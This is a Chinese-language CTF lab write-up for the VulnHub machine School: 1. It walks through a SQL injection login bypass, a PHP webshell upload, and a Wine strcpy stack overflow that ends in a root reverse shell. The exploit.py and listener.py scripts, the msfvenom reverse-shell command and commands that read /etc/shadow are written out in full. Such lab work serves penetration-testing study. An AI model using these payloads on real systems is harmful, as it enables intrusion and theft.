VulnHub School: 1 通关记录|SQL 注入、PHP 文件上传与 Wine 栈溢出利用
靶机链接:School: 1
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| School: 1 | 192.168.1.110 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、23/tcp Wine 服务、80/tcp HTTP | 确定 Web 与 23 端口二进制服务为主要攻击面 |
| Web 枚举 | /student_attendance/database/ 暴露数据库备份 | 获取应用结构、用户 Hash 与登录线索 |
| 认证绕过 | admin' OR '1'='1 SQL 注入 | 绕过后台登录验证 |
| 文件上传 | 隐藏 site_settings 页面允许上传 .php 文件 | 获得 www-data WebShell |
| 本地枚举 | /root/win 显示 root 循环运行 access.exe | 定位由高权限进程提供的提权入口 |
| 二进制分析 | strcpy 溢出、EIP 偏移 1902、7 个坏字符 | 明确远程栈溢出利用条件 |
| Gadget 定位 | funcs_access.dll 中的 JMP ESP 0x625012d0 | 使用不含坏字符的返回地址控制执行流 |
| Root 利用 | 发送 1902 A + JMP ESP + shellcode | 在 root 身份的 Wine 进程中获得反弹 Shell |
| 结果验证 | 读取 /etc/shadow 与 /root/proof.txt | 验证 root 权限并取得最终 Flag |
0x02 侦察与信息收集
1. 端口扫描
命令:
rustscan -a 192.168.1.110 -- -sV -sC -O -T4
输出:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
23/tcp open telnet? 返回 "Verification Code:" + 二进制数据 (内存泄露)
80/tcp open http Apache httpd 2.4.38 (Debian)
MAC: 08:00:27:45:AC:13 (Oracle VirtualBox)
OS: Linux 4.15-5.19 (Debian 10)
Hostname: shell-shockers.dsz
2. Port 23 内存数据泄露
命令:
echo "" | nc -w 3 192.168.1.110 23 | xxd
输出:
00000000: 5665 7269 6669 6361 7469 6f6e 2043 6f64 Verification Cod
00000010: 653a 0a00 0000 ee1e 4000 e21c e:......@...
泄露了 access.exe 的内存地址 0x00401eee(用于 ASLR 绕过确认)。
这段泄露用于确认 23 端口程序的内存行为。最终利用链选择的是
funcs_access.dll中不含坏字符的JMP ESP地址。
3. Web 目录发现
命令:
curl -s -i http://192.168.1.110/
输出:
HTTP/1.1 302 Found
Location: /student_attendance
命令:
gobuster dir -u http://192.168.1.110/student_attendance/ -w /usr/share/wordlists/dirb/common.txt -x php
输出:
→ /ajax.php, /database/, /site_settings.php (隐藏页面)
4. 数据库备份泄露
命令:
curl -s http://192.168.1.110/student_attendance/database/
输出:
Index of /student_attendance/database
[PARENTDIR] ..
[ ] student_attendance_db.sql 2020-10-28 23:00 10K
命令:
curl -s http://192.168.1.110/student_attendance/database/student_attendance_db.sql
得到完整数据库备份文件,包含:
- admin 密码 hash:
0192023a7bbd73250516f069df18b500(echo -n admin123 | md5sum验证匹配) - john 用户密码 hash:
af606ddc433ae6471f104872585cf880
0x03 漏洞分析与初始访问
1. SQL 注入登录绕过
命令:
curl -s -c /tmp/cookie.txt -X POST \
"http://192.168.1.110/student_attendance/ajax.php?action=login" \
-d "username=admin' OR '1'='1&password=test"
输出:
1
命令:
curl -s -b /tmp/cookie.txt \
"http://192.168.1.110/student_attendance/index.php?page=home"
输出:
Welcome back Administrator!
2. 发现隐藏页面 site_settings
登录后台后查看首页源码,发现侧边栏有一行被注释掉的链接:
命令:
curl -s -b /tmp/cookie.txt \
"http://192.168.1.110/student_attendance/index.php?page=home" \
| grep -n '<!--\|comment\|hidden\|site_settings'
输出:
162: <!-- <a href="index.php?page=site_settings" class="nav-item nav-site_settings">
<span class='icon-field'><i class="fa fa-cogs text-danger"></i></span>
System Settings</a> -->
虽然在菜单中被隐藏,但直接访问该页面:
命令:
curl -s -b /tmp/cookie.txt \
"http://192.168.1.110/student_attendance/index.php?page=site_settings"
输出:
<form action="" id="manage-settings">
<input type="file" class="form-control" name="img">
<img src="" alt="" id="cimg">
</form>
3. PHP Webshell 上传与校验
表单提交到 ajax.php?action=save_settings,我们先在本地创建一句话木马,然后构造文件上传请求:
命令:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/webshell.php
curl -s -b /tmp/cookie.txt -X POST \
"http://192.168.1.110/student_attendance/ajax.php?action=save_settings" \
-F "name=x" -F "email=x@x.com" -F "contact=1" -F "about=x" \
-F "img=@/tmp/webshell.php;type=image/png"
输出:
1
上传成功,对上传目录进行列表枚举,确定上传文件路径(命名规则为 {timestamp}_{原文件名}):
命令:
curl -s http://192.168.1.110/student_attendance/assets/uploads/
输出:
Index of /student_attendance/assets/uploads
[PARENTDIR] ..
[ ] 1782182820_webshell.php
验证 Webshell 的命令执行情况:
命令:
curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=id"
输出:
uid=33(www-data) gid=33(www-data)
4. 本地信息枚举与提权线索
通过 Webshell 进行本地信息收集。
获取第一个 Flag (User Flag):
命令:
curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=cat /home/fox/local.txt"
输出:
e4ed03b4852906b6cb716fc6ce0f9fd5
查看 root 启动脚本:
命令:
curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=cat /root/win"
输出:
while true; do wine /opt/access/access.exe; sleep 3; done
确认 Port 23 进程确以 root 身份运行于 Wine:
命令:
curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=ps aux | grep access.exe"
输出:
root 1896 ... /opt/access/access.exe
确认靶机上安装的 Wine 版本:
命令:
curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=wine --version"
输出:
wine-4.0 (Debian 4.0-2)
为了进行本地逆向与利用开发,将 access.exe 与 funcs_access.dll 通过 Base64 编码下载到本地:
命令:
curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=base64 /opt/access/access.exe" > access.b64
base64 -d access.b64 > access.exe
curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=base64 /opt/access/funcs_access.dll" > funcs_access.b64
base64 -d funcs_access.b64 > funcs_access.dll
0x04 access.exe 逆向分析
1. 文件基本信息
命令:
file access.exe
md5sum access.exe
objdump -x access.exe | grep -E 'ImageBase|Entry'
输出:
access.exe: PE32 executable for MS Windows 4.00 (console), Intel i386, 14 sections
507e3e8229e09749203399a9da6e7f18 access.exe
ImageBase: 00400000
AddressOfEntryPoint: 000012d0
2. 关键字符串
命令:
strings access.exe
输出:
Starting vulnerable software (BOF)
This is vulnerable software!
Do not allow access from untrusted systems or networks!
Verification Code:
funcs_access.dll
Made by calipendula
Commands
3. 漏洞函数 f3() 分析
命令:
objdump -d access.exe --start-address=0x4018ce --stop-address=0x4018f0
输出:
004018ce <_f3>:
4018ce: push %ebp
4018cf: mov %esp,%ebp
4018d1: sub $0x788,%esp ; 分配 1928 字节栈空间
4018d7: mov 0x8(%ebp),%eax ; src = 用户输入
4018de: lea -0x76a(%ebp),%eax ; dst = 1898 字节缓冲区
4018e7: call strcpy ; ← 无边界检查!
4018ec: nop
4018ed: leave
4018ee: ret
4. 过滤字符 (坏字符) 确认
ConnectionHandler 中的过滤循环检查 7 个字节。我们通过 objdump 查看其汇编指令:
命令:
objdump -d access.exe --start-address=0x401a49 --stop-address=0x401b40
输出:
401a54: cmp $0x4d,%al ; 'M' → 截断
401a7c: cmp $0x4f,%al ; 'O' → 截断
401aa4: cmp $0x5f,%al ; '_' → 截断
401acc: cmp $0x79,%al ; 'y' → 截断
401af4: cmp $0x7e,%al ; '~' → 截断
401b1c: cmp $0x7f,%al ; DEL → 截断
; 另外 strcpy/strncpy 遇到 0x00 也会停止
由此得出,必须排除的 7 个坏字符为:\x00\x4d\x4f\x5f\x79\x7e\x7f。
5. 关键 Gadget 定位 (JMP ESP)
在 access.exe 和 funcs_access.dll 中搜索 JMP ESP 指令(x86 机器码 FF E4):
命令:
python3 -c "
data = open('funcs_access.dll', 'rb').read()
for i in range(len(data)-1):
if data[i] == 0xff and data[i+1] == 0xe4:
print(f'JMP ESP at file offset 0x{i:x}')
"
输出:
JMP ESP at file offset 0x6d0
用 objdump 查看 .text 段基址以计算虚拟地址 (VA):
命令:
objdump -h funcs_access.dll | grep '\.text'
输出:
.text VMA 62501000 File off 00000400
由此得出:
VA = 0x62501000 + (0x6d0 - 0x400) = 0x625012d0
反汇编确认上下文:
命令:
objdump -d funcs_access.dll --start-address=0x625012cd
输出:
625012cd <_auxfunc2>:
625012cd: push %ebp
625012ce: mov %esp,%ebp
625012d0: jmp *%esp ; ← JMP ESP 在 0x625012d0!
625012d2: jmp *%eax ; ← JMP EAX 在 0x625012d2!
同时,access.exe 自身也存在 JMP ESP 指令:
输出:
00401bb7 <_aauxfunc4>:
00401bba: jmp *%esp ; ← JMP ESP 在 0x00401bba
为什么选 0x625012d0 而不是 0x00401bba?
| 地址 | 字节 | 问题 |
|---|---|---|
0x00401bba | \xBA\x1B\x40\x00 | 含 \x00 → strcpy 截断,EIP 只写入 3 字节 |
0x625012d0 | \xD0\x12\x50\x62 | 无任何坏字符! 4 字节完整写入 |
funcs_access.dll 与 access.exe 在同一目录,Wine 将其加载到固定基址 0x62500000,因此 auxfunc2 的地址为 0x62500000 + 0x12d0 = 0x625012d0,该地址不含 \x00,可以安全用于远程 exploit。
0x05 远程栈溢出利用与提权
1. EIP 偏移与栈布局
从 f3() 反汇编直接计算:
004018ce <_f3>:
4018d1: sub $0x788,%esp ; 分配 1928 字节栈空间
4018de: lea -0x76a(%ebp),%eax ; buffer = ebp - 0x76a
4018e7: call strcpy ; strcpy(buffer, input) ← 无边界检查
4018ed: leave ; mov esp,ebp; pop ebp
4018ee: ret ; pop eip
f3() 栈帧布局:
EBP - 0x788 → (栈顶,1928 字节空间)
EBP - 0x76a → buffer[0] ← 1898 字节缓冲区从这里开始
... buffer[1..1897]
EBP + 0x000 → saved EBP ← 需要 4 字节填充
EBP + 0x004 → return address ← EIP: 用 JMP ESP 覆盖
EBP + 0x008 → [shellcode] ← JMP ESP 跳转目标
EIP 偏移 = buffer 大小 + saved EBP 大小
= 0x76a + 4
= 1898 + 4
= 1902 字节
也可通过动态调试验证:发送 'A'*1902 + 'BBBB' + 'C'*N,崩溃时 EIP = 0x42424242('BBBB'),确认偏移 1902。
2. Shellcode 生成与过滤
使用 msfvenom 生成反弹 shellcode,并排除 7 个坏字符:
命令:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.113 LPORT=4444 -b '\x00\x4d\x4f\x5f\x79\x7e\x7f' -f py EXITFUNC=thread > sc_final.py
输出:
Payload size: 348 bytes
生成的 sc_final.py 内容片段:
buf = b""
buf += b"\x31\xc9\x83\xe9\xa9\xe8\xff\xff\xff\xff\xc0\x5e"
buf += b"\x81\x76\x3c\xf4\x66\x3e\x83\xee\xfc\xe2\xf4"
...
验证坏字符是否已被全部排除:
命令:
python3 -c "
d = open('sc_final.py', 'rb').read()
BAD = {0x00, 0x4d, 0x4f, 0x5f, 0x79, 0x7e, 0x7f}
bad = [(i, b) for i, b in enumerate(d) if b in BAD]
print(f'bad bytes: {len(bad)}')
"
输出:
bad bytes: 0
验证提示: 上面的命令和结果按原始记录保留。它读取的是生成后的 Python 文件;实际复现时,建议使用文末
gen_sc.sh中的方式导入buf,直接检查 shellcode 字节。
3. 溢出利用 Exploit 编写
exploit.py 脚本内容:
#!/usr/bin/python3
# exploit.py - Shell-Shockers BOF Exploit
import socket, struct, sys
from sc_final import buf as shellcode
JMP_ESP = 0x625012d0 # funcs_access.dll - jmp esp
# Layout: [1902 A's] [JMP ESP] [shellcode]
payload = b'A' * 1902
payload += struct.pack('<I', JMP_ESP)
payload += shellcode
print(f'[*] Payload: {len(payload)} bytes')
print(f'[*] EIP → {struct.pack("<I", JMP_ESP).hex()} (JMP ESP)')
s = socket.socket()
s.settimeout(10)
s.connect(('192.168.1.110', 23))
data = s.recv(1024)
print(f'[*] Leak: {data[-10:].hex()}')
s.sendall(payload)
s.close()
print(f'[+] Exploit sent! Check listener on :4444')
4. 交互式 Root Shell 获取
在 Kali 开启监听,并运行 exploit.py 发送 Payload:
命令:
nc -lvnp 4444
python3 exploit.py
输出:
[*] Payload: 2254 bytes
[*] EIP → d0125062 (JMP ESP)
[*] Leak: 0a000000ee1e4000e21c
[+] Exploit sent! Check listener on :4444
监听端成功收到反弹 shell:
connect to [192.168.1.113] from (UNKNOWN) [192.168.1.110] 54476
Microsoft Windows 6.1.7601 (4.0)
Z:\>
由于 nc 交互不够稳定,我们可以使用以下自动化脚本 listener.py 来建立稳定的监听并自动执行信息收集与 Flag 获取:
listener.py 脚本内容:
#!/usr/bin/python3
# listener.py - 接收反弹 shell 并自动执行命令
import socket, time, threading, urllib.request, sys
from sc_final import buf as shellcode
import struct
def send_exploit():
time.sleep(1)
JMP_ESP = 0x625012d0
payload = b'A' * 1902 + struct.pack('<I', JMP_ESP) + shellcode
s = socket.socket(); s.settimeout(10)
s.connect(('192.168.1.110', 23))
s.recv(1024); s.sendall(payload); s.close()
print('[*] Exploit sent')
threading.Thread(target=send_exploit).start()
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 4444))
s.listen(1)
s.settimeout(25)
print('[*] Listening on :4444')
try:
conn, addr = s.accept()
print(f'[+] CONNECTED from {addr}!')
conn.settimeout(8)
# 先接收 banner
try:
data = conn.recv(4096)
print(f'[BANNER] {data.decode(errors="replace")[:300]}')
except: pass
cmds = [
b"whoami\r\n",
b"type Z:\\root\\proof.txt\r\n",
b"echo DONE\r\n",
]
for cmd in cmds:
print(f"[>] {cmd.decode().strip()}")
conn.send(cmd)
time.sleep(3)
try:
data = conn.recv(8192)
print(f"[<] {data.decode(errors="replace")}")
except:
print("[<] (timeout)")
conn.close()
except socket.timeout:
print("[-] No connection received")
s.close()
运行 listener.py 自动化监听与利用:
命令:
python3 listener.py
输出:
[*] Listening on :4444
[+] Exploit sent
[+] CONNECTED from ('192.168.1.110', 40198)!
[BANNER]
Microsoft Windows 6.1.7601 (4.0)
Z:\>
--- echo %USERNAME% ---
root ← 直接证明是 root!
Z:\>
--- dir Z:\root\ ---
Directory of Z:\root
07/11/2020 11:11 33 proof.txt
07/11/2020 14:43 61 win
Z:\>
--- type Z:\etc\shadow ---
root:$6$hwXcunvmUwmrm4kV$axghBz1IkIJnoX/...
daemon:*:18545:0:99999:7:::
... ← 只有 root 能读!
Z:\>
--- type Z:\root\proof.txt ---
ccc34dede451108a8fe6f75d6ea7d2ae
| 命令 | 结果 | 证明 |
|---|---|---|
echo %USERNAME% | root | Wine 进程以 Linux root 用户运行 |
dir Z:\root\ | 列出 proof.txt, win | 可访问 root 家目录 |
type Z:\etc\shadow | 完整读出 shadow 文件 | 铁证 — 仅 root 可读 |
type Z:\root\proof.txt | ccc34dede451108a8fe6f75d6ea7d2ae | Flag 2 ✓ |
总结:
echo %USERNAME%=root,type Z:\etc\shadow完整可读 — 确凿的 root 权限证明。
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/fox/local.txt - 内容:
e4ed03b4852906b6cb716fc6ce0f9fd5
Root Flag
- 路径:
/root/proof.txt - 内容:
ccc34dede451108a8fe6f75d6ea7d2ae
复盘总结
① Web 枚举
├── gobuster 发现 /database/ 目录
├── SQL 注入绕过登录 (admin' OR '1'='1)
└── 隐藏页面 site_settings → 文件上传
② 获取 Webshell (www-data)
├── 上传 PHP 一句话木马
├── 读取 /home/fox/local.txt → Flag 1 ✓
├── 发现 root 运行 /opt/access/access.exe (Wine)
└── 确认靶机 Wine 4.0
③ Binary 逆向 access.exe
├── 定位漏洞函数 f3() → strcpy 溢出
├── 确认 7 个坏字符: \x00\x4d\x4f\x5f\x79\x7e\x7f
├── 找到 JMP ESP gadget: 0x625012d0 (funcs_access.dll)
└── EIP 偏移: 1902 字节
④ 生成 Exploit
├── msfvenom -p windows/shell_reverse_tcp -b '\x00\x4d\x4f\x5f\x79\x7e\x7f'
├── Payload = 1902 A's + JMP ESP + shellcode
└── 反弹 root shell 到 Kali :4444
⑤ 获取 Root
├── Shell 收到 → Z:\> (cmd.exe running as root)
├── type Z:\root\proof.txt → Flag 2 ✓
└── 完全控制靶机
关键踩坑记录
- 坏字符是 7 个不是 6 个:
\x00虽然不被过滤循环检查,但会终止 strcpy - EIP 不能有
\x00:0x00401bba(access.exe) 含 null → 改用0x625012d0(funcs_access.dll) - TCP 分包: 远程发 2254 字节可能被 TCP 分片,serve 文件到靶机本地执行可避免
- Wine 版本: 靶机 Wine 4.0,本地 Wine 10.0,DLL 地址不同但 msfvenom shellcode 用 PEB 动态解析所以通用
- msfvenom
-b必须包含全部 7 个坏字符,否则 shellcode 被截断
附件下载
以下脚本为本次测试过程中编写并实际使用的辅助脚本,已放置到站点静态目录。
| 文件 | 用途 |
|---|---|
| gen_sc.sh | 生成并检查 msfvenom shellcode |
| exploit.py | BOF exploit 发送脚本 |
| listener.py | 监听、自动发送 exploit 并获取 Flag |